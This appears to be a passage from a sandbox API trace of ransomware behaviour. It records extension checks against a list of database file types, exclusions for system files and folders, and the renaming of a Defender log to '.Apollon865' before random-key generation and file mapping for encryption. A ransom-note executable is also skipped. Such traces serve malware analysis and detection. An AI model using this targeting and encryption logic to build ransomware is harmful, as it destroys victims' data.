	[0079.344] lstrlenW (lpString="mdf") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="mdf") returned -1
	[0079.344] lstrlenW (lpString="mdb") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="mdb") returned -1
	[0079.344] lstrlenW (lpString="sql") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="sql") returned -1
	[0079.344] lstrlenW (lpString="sqlite") returned 6
	[0079.344] lstrcmpiW (lpString1="ry.Log", lpString2="sqlite") returned -1
	[0079.344] lstrlenW (lpString="sqlite3") returned 7
	[0079.344] lstrcmpiW (lpString1="ory.Log", lpString2="sqlite3") returned -1
	[0079.344] lstrlenW (lpString="sqlitedb") returned 8
	[0079.344] lstrcmpiW (lpString1="tory.Log", lpString2="sqlitedb") returned 1
	[0079.344] lstrlenW (lpString="xml") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="xml") returned -1
	[0079.344] lstrlenW (lpString="$er") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="$er") returned 1
	[0079.344] lstrlenW (lpString="4dd") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="4dd") returned 1
	[0079.344] lstrlenW (lpString="4dl") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="4dl") returned 1
	[0079.344] lstrlenW (lpString="^^^") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="^^^") returned 1
	[0079.344] lstrlenW (lpString="abs") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="abs") returned 1
	[0079.345] lstrlenW (lpString="abx") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="abx") returned 1
	[0079.345] lstrlenW (lpString="accdb") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accdb") returned 1
	[0079.345] lstrlenW (lpString="accdc") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accdc") returned 1
	[0079.345] lstrlenW (lpString="accde") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accde") returned 1
	[0079.345] lstrlenW (lpString="accdr") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accdr") returned 1
	[0079.345] lstrlenW (lpString="accdt") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accdt") returned 1
	[0079.345] lstrlenW (lpString="accdw") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accdw") returned 1
	[0079.345] lstrlenW (lpString="accft") returned 5
	[0079.345] lstrcmpiW (lpString1="y.Log", lpString2="accft") returned 1
	[0079.345] lstrlenW (lpString="adb") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="adb") returned 1
	[0079.345] lstrlenW (lpString="adb") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="adb") returned 1
	[0079.345] lstrlenW (lpString="ade") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="ade") returned 1
	[0079.345] lstrlenW (lpString="adf") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="adf") returned 1
	[0079.345] lstrlenW (lpString="adn") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="adn") returned 1
	[0079.345] lstrlenW (lpString="adp") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="adp") returned 1
	[0079.345] lstrlenW (lpString="alf") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="alf") returned 1
	[0079.345] lstrlenW (lpString="ask") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="ask") returned 1
	[0079.345] lstrlenW (lpString="btr") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="btr") returned 1
	[0079.345] lstrlenW (lpString="cat") returned 3
	[0079.345] lstrcmpiW (lpString1="Log", lpString2="cat") returned 1
	[0079.346] lstrlenW (lpString="cdb") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="cdb") returned 1
	[0079.346] lstrlenW (lpString="ckp") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="ckp") returned 1
	[0079.346] lstrlenW (lpString="cma") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="cma") returned 1
	[0079.346] lstrlenW (lpString="cpd") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="cpd") returned 1
	[0079.346] lstrlenW (lpString="dacpac") returned 6
	[0079.346] lstrcmpiW (lpString1="ry.Log", lpString2="dacpac") returned 1
	[0079.346] lstrlenW (lpString="dad") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dad") returned 1
	[0079.346] lstrlenW (lpString="dadiagrams") returned 10
	[0079.346] lstrcmpiW (lpString1="istory.Log", lpString2="dadiagrams") returned 1
	[0079.346] lstrlenW (lpString="daschema") returned 8
	[0079.346] lstrcmpiW (lpString1="tory.Log", lpString2="daschema") returned 1
	[0079.346] lstrlenW (lpString="db-journal") returned 10
	[0079.346] lstrcmpiW (lpString1="istory.Log", lpString2="db-journal") returned 1
	[0079.346] lstrlenW (lpString="db-shm") returned 6
	[0079.346] lstrcmpiW (lpString1="ry.Log", lpString2="db-shm") returned 1
	[0079.346] lstrlenW (lpString="db-wal") returned 6
	[0079.346] lstrcmpiW (lpString1="ry.Log", lpString2="db-wal") returned 1
	[0079.346] lstrlenW (lpString="dbc") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dbc") returned 1
	[0079.346] lstrlenW (lpString="dbs") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dbs") returned 1
	[0079.346] lstrlenW (lpString="dbt") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dbt") returned 1
	[0079.346] lstrlenW (lpString="dbv") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dbv") returned 1
	[0079.346] lstrlenW (lpString="dbx") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dbx") returned 1
	[0079.346] lstrlenW (lpString="dcb") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dcb") returned 1
	[0079.346] lstrlenW (lpString="dct") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dct") returned 1
	[0079.346] lstrlenW (lpString="dcx") returned 3
	[0079.346] lstrcmpiW (lpString1="Log", lpString2="dcx") returned 1
	[0079.346] lstrlenW (lpString="ddl") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="ddl") returned 1
	[0079.347] lstrlenW (lpString="dlis") returned 4
	[0079.347] lstrcmpiW (lpString1=".Log", lpString2="dlis") returned -1
	[0079.347] lstrlenW (lpString="dp1") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="dp1") returned 1
	[0079.347] lstrlenW (lpString="dqy") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="dqy") returned 1
	[0079.347] lstrlenW (lpString="dsk") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="dsk") returned 1
	[0079.347] lstrlenW (lpString="dsn") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="dsn") returned 1
	[0079.347] lstrlenW (lpString="dtsx") returned 4
	[0079.347] lstrcmpiW (lpString1=".Log", lpString2="dtsx") returned -1
	[0079.347] lstrlenW (lpString="dxl") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="dxl") returned 1
	[0079.347] lstrlenW (lpString="eco") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="eco") returned 1
	[0079.347] lstrlenW (lpString="ecx") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="ecx") returned 1
	[0079.347] lstrlenW (lpString="edb") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="edb") returned 1
	[0079.347] lstrlenW (lpString="epim") returned 4
	[0079.347] lstrcmpiW (lpString1=".Log", lpString2="epim") returned -1
	[0079.347] lstrlenW (lpString="fcd") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fcd") returned 1
	[0079.347] lstrlenW (lpString="fdb") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fdb") returned 1
	[0079.347] lstrlenW (lpString="fic") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fic") returned 1
	[0079.347] lstrlenW (lpString="flexolibrary") returned 12
	[0079.347] lstrlenW (lpString="fm5") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fm5") returned 1
	[0079.347] lstrlenW (lpString="fmp") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fmp") returned 1
	[0079.347] lstrlenW (lpString="fmp12") returned 5
	[0079.347] lstrcmpiW (lpString1="y.Log", lpString2="fmp12") returned 1
	[0079.347] lstrlenW (lpString="fmpsl") returned 5
	[0079.347] lstrcmpiW (lpString1="y.Log", lpString2="fmpsl") returned 1
	[0079.347] lstrlenW (lpString="fol") returned 3
	[0079.347] lstrcmpiW (lpString1="Log", lpString2="fol") returned 1
	[0079.348] lstrlenW (lpString="fp3") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="fp3") returned 1
	[0079.348] lstrlenW (lpString="fp4") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="fp4") returned 1
	[0079.348] lstrlenW (lpString="fp5") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="fp5") returned 1
	[0079.348] lstrlenW (lpString="fp7") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="fp7") returned 1
	[0079.348] lstrlenW (lpString="fpt") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="fpt") returned 1
	[0079.348] lstrlenW (lpString="frm") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="frm") returned 1
	[0079.348] lstrlenW (lpString="gdb") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="gdb") returned 1
	[0079.348] lstrlenW (lpString="gdb") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="gdb") returned 1
	[0079.348] lstrlenW (lpString="grdb") returned 4
	[0079.348] lstrcmpiW (lpString1=".Log", lpString2="grdb") returned -1
	[0079.348] lstrlenW (lpString="gwi") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="gwi") returned 1
	[0079.348] lstrlenW (lpString="hdb") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="hdb") returned 1
	[0079.348] lstrlenW (lpString="his") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="his") returned 1
	[0079.348] lstrlenW (lpString="ib") returned 2
	[0079.348] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0079.348] lstrlenW (lpString="idb") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="idb") returned 1
	[0079.348] lstrlenW (lpString="ihx") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="ihx") returned 1
	[0079.348] lstrlenW (lpString="itdb") returned 4
	[0079.348] lstrcmpiW (lpString1=".Log", lpString2="itdb") returned -1
	[0079.348] lstrlenW (lpString="itw") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="itw") returned 1
	[0079.348] lstrlenW (lpString="jet") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="jet") returned 1
	[0079.348] lstrlenW (lpString="jtx") returned 3
	[0079.348] lstrcmpiW (lpString1="Log", lpString2="jtx") returned 1
	[0079.348] lstrlenW (lpString="kdb") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="kdb") returned 1
	[0079.349] lstrlenW (lpString="kexi") returned 4
	[0079.349] lstrcmpiW (lpString1=".Log", lpString2="kexi") returned -1
	[0079.349] lstrlenW (lpString="kexic") returned 5
	[0079.349] lstrcmpiW (lpString1="y.Log", lpString2="kexic") returned 1
	[0079.349] lstrlenW (lpString="kexis") returned 5
	[0079.349] lstrcmpiW (lpString1="y.Log", lpString2="kexis") returned 1
	[0079.349] lstrlenW (lpString="lgc") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="lgc") returned 1
	[0079.349] lstrlenW (lpString="lwx") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="lwx") returned -1
	[0079.349] lstrlenW (lpString="maf") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="maf") returned -1
	[0079.349] lstrlenW (lpString="maq") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="maq") returned -1
	[0079.349] lstrlenW (lpString="mar") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mar") returned -1
	[0079.349] lstrlenW (lpString="marshal") returned 7
	[0079.349] lstrcmpiW (lpString1="ory.Log", lpString2="marshal") returned 1
	[0079.349] lstrlenW (lpString="mas") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mas") returned -1
	[0079.349] lstrlenW (lpString="mav") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mav") returned -1
	[0079.349] lstrlenW (lpString="maw") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="maw") returned -1
	[0079.349] lstrlenW (lpString="mdbhtml") returned 7
	[0079.349] lstrcmpiW (lpString1="ory.Log", lpString2="mdbhtml") returned 1
	[0079.349] lstrlenW (lpString="mdn") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mdn") returned -1
	[0079.349] lstrlenW (lpString="mdt") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mdt") returned -1
	[0079.349] lstrlenW (lpString="mfd") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mfd") returned -1
	[0079.349] lstrlenW (lpString="mpd") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mpd") returned -1
	[0079.349] lstrlenW (lpString="mrg") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mrg") returned -1
	[0079.349] lstrlenW (lpString="mud") returned 3
	[0079.349] lstrcmpiW (lpString1="Log", lpString2="mud") returned -1
	[0079.350] lstrlenW (lpString="mwb") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="mwb") returned -1
	[0079.350] lstrlenW (lpString="myd") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="myd") returned -1
	[0079.350] lstrlenW (lpString="ndf") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="ndf") returned -1
	[0079.350] lstrlenW (lpString="nnt") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="nnt") returned -1
	[0079.350] lstrlenW (lpString="nrmlib") returned 6
	[0079.350] lstrcmpiW (lpString1="ry.Log", lpString2="nrmlib") returned 1
	[0079.350] lstrlenW (lpString="ns2") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="ns2") returned -1
	[0079.350] lstrlenW (lpString="ns3") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="ns3") returned -1
	[0079.350] lstrlenW (lpString="ns4") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="ns4") returned -1
	[0079.350] lstrlenW (lpString="nsf") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="nsf") returned -1
	[0079.350] lstrlenW (lpString="nv") returned 2
	[0079.350] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0079.350] lstrlenW (lpString="nv2") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="nv2") returned -1
	[0079.350] lstrlenW (lpString="nwdb") returned 4
	[0079.350] lstrcmpiW (lpString1=".Log", lpString2="nwdb") returned -1
	[0079.350] lstrlenW (lpString="nyf") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="nyf") returned -1
	[0079.350] lstrlenW (lpString="odb") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="odb") returned -1
	[0079.350] lstrlenW (lpString="odb") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="odb") returned -1
	[0079.350] lstrlenW (lpString="oqy") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="oqy") returned -1
	[0079.350] lstrlenW (lpString="ora") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="ora") returned -1
	[0079.350] lstrlenW (lpString="orx") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="orx") returned -1
	[0079.350] lstrlenW (lpString="owc") returned 3
	[0079.350] lstrcmpiW (lpString1="Log", lpString2="owc") returned -1
	[0079.350] lstrlenW (lpString="p96") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="p96") returned -1
	[0079.351] lstrlenW (lpString="p97") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="p97") returned -1
	[0079.351] lstrlenW (lpString="pan") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="pan") returned -1
	[0079.351] lstrlenW (lpString="pdb") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="pdb") returned -1
	[0079.351] lstrlenW (lpString="pdm") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="pdm") returned -1
	[0079.351] lstrlenW (lpString="pnz") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="pnz") returned -1
	[0079.351] lstrlenW (lpString="qry") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="qry") returned -1
	[0079.351] lstrlenW (lpString="qvd") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="qvd") returned -1
	[0079.351] lstrlenW (lpString="rbf") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="rbf") returned -1
	[0079.351] lstrlenW (lpString="rctd") returned 4
	[0079.351] lstrcmpiW (lpString1=".Log", lpString2="rctd") returned -1
	[0079.351] lstrlenW (lpString="rod") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="rod") returned -1
	[0079.351] lstrlenW (lpString="rodx") returned 4
	[0079.351] lstrcmpiW (lpString1=".Log", lpString2="rodx") returned -1
	[0079.351] lstrlenW (lpString="rpd") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="rpd") returned -1
	[0079.351] lstrlenW (lpString="rsd") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="rsd") returned -1
	[0079.351] lstrlenW (lpString="sas7bdat") returned 8
	[0079.351] lstrcmpiW (lpString1="tory.Log", lpString2="sas7bdat") returned 1
	[0079.351] lstrlenW (lpString="sbf") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="sbf") returned -1
	[0079.351] lstrlenW (lpString="scx") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="scx") returned -1
	[0079.351] lstrlenW (lpString="sdb") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="sdb") returned -1
	[0079.351] lstrlenW (lpString="sdc") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="sdc") returned -1
	[0079.351] lstrlenW (lpString="sdf") returned 3
	[0079.351] lstrcmpiW (lpString1="Log", lpString2="sdf") returned -1
	[0079.352] lstrlenW (lpString="sis") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="sis") returned -1
	[0079.352] lstrlenW (lpString="spq") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="spq") returned -1
	[0079.352] lstrlenW (lpString="te") returned 2
	[0079.352] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0079.352] lstrlenW (lpString="teacher") returned 7
	[0079.352] lstrcmpiW (lpString1="ory.Log", lpString2="teacher") returned -1
	[0079.352] lstrlenW (lpString="tmd") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="tmd") returned -1
	[0079.352] lstrlenW (lpString="tps") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="tps") returned -1
	[0079.352] lstrlenW (lpString="trc") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="trc") returned -1
	[0079.352] lstrlenW (lpString="trc") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="trc") returned -1
	[0079.352] lstrlenW (lpString="trm") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="trm") returned -1
	[0079.352] lstrlenW (lpString="udb") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="udb") returned -1
	[0079.352] lstrlenW (lpString="udl") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="udl") returned -1
	[0079.352] lstrlenW (lpString="usr") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="usr") returned -1
	[0079.352] lstrlenW (lpString="v12") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="v12") returned -1
	[0079.352] lstrlenW (lpString="vis") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="vis") returned -1
	[0079.352] lstrlenW (lpString="vpd") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="vpd") returned -1
	[0079.352] lstrlenW (lpString="vvv") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="vvv") returned -1
	[0079.352] lstrlenW (lpString="wdb") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="wdb") returned -1
	[0079.352] lstrlenW (lpString="wmdb") returned 4
	[0079.352] lstrcmpiW (lpString1=".Log", lpString2="wmdb") returned -1
	[0079.352] lstrlenW (lpString="wrk") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="wrk") returned -1
	[0079.352] lstrlenW (lpString="xdb") returned 3
	[0079.352] lstrcmpiW (lpString1="Log", lpString2="xdb") returned -1
	[0079.353] lstrlenW (lpString="xld") returned 3
	[0079.353] lstrcmpiW (lpString1="Log", lpString2="xld") returned -1
	[0079.353] lstrlenW (lpString="xmlff") returned 5
	[0079.353] lstrcmpiW (lpString1="y.Log", lpString2="xmlff") returned 1
	[0079.353] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.Apollon865") returned 90
	[0079.353] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log.apollon865"), dwFlags=0x1) returned 1
	[0079.355] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.355] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2) returned 1
	[0079.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.356] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.356] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.356] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.357] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x15c
	[0079.360] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000
	[0079.360] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.361] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.361] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.362] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.362] CloseHandle (hObject=0x15c) returned 1
	[0079.362] CloseHandle (hObject=0x9c) returned 1
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.362] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f84de50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.362] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.362] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="Apollon865.txt.exe") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2=".") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="..") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="windows") returned -1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="bootmgr") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="temp") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="pagefile.sys") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="boot") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="ids.txt") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="ntuser.dat") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="perflogs") returned 1
	[0079.362] lstrcmpiW (lpString1="Unknown.Log", lpString2="MSBuild") returned 1
	[0079.362] lstrlenW (lpString="Unknown.Log") returned 11
	[0079.363] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 79
	[0079.363] lstrcpyW (in: lpString1=0x119e690, lpString2="Unknown.Log" | out: lpString1="Unknown.Log") returned="Unknown.Log"
	[0079.363] lstrlenW (lpString="Unknown.Log") returned 11
	[0079.363] lstrlenW (lpString="Apollon865") returned 10
	[0079.363] lstrcmpiW (lpString1="nknown.Log", lpString2="Apollon865") returned 1
	[0079.363] lstrlenW (lpString=".dll") returned 4
	[0079.363] lstrcmpiW (lpString1="Unknown.Log", lpString2=".dll") returned 1
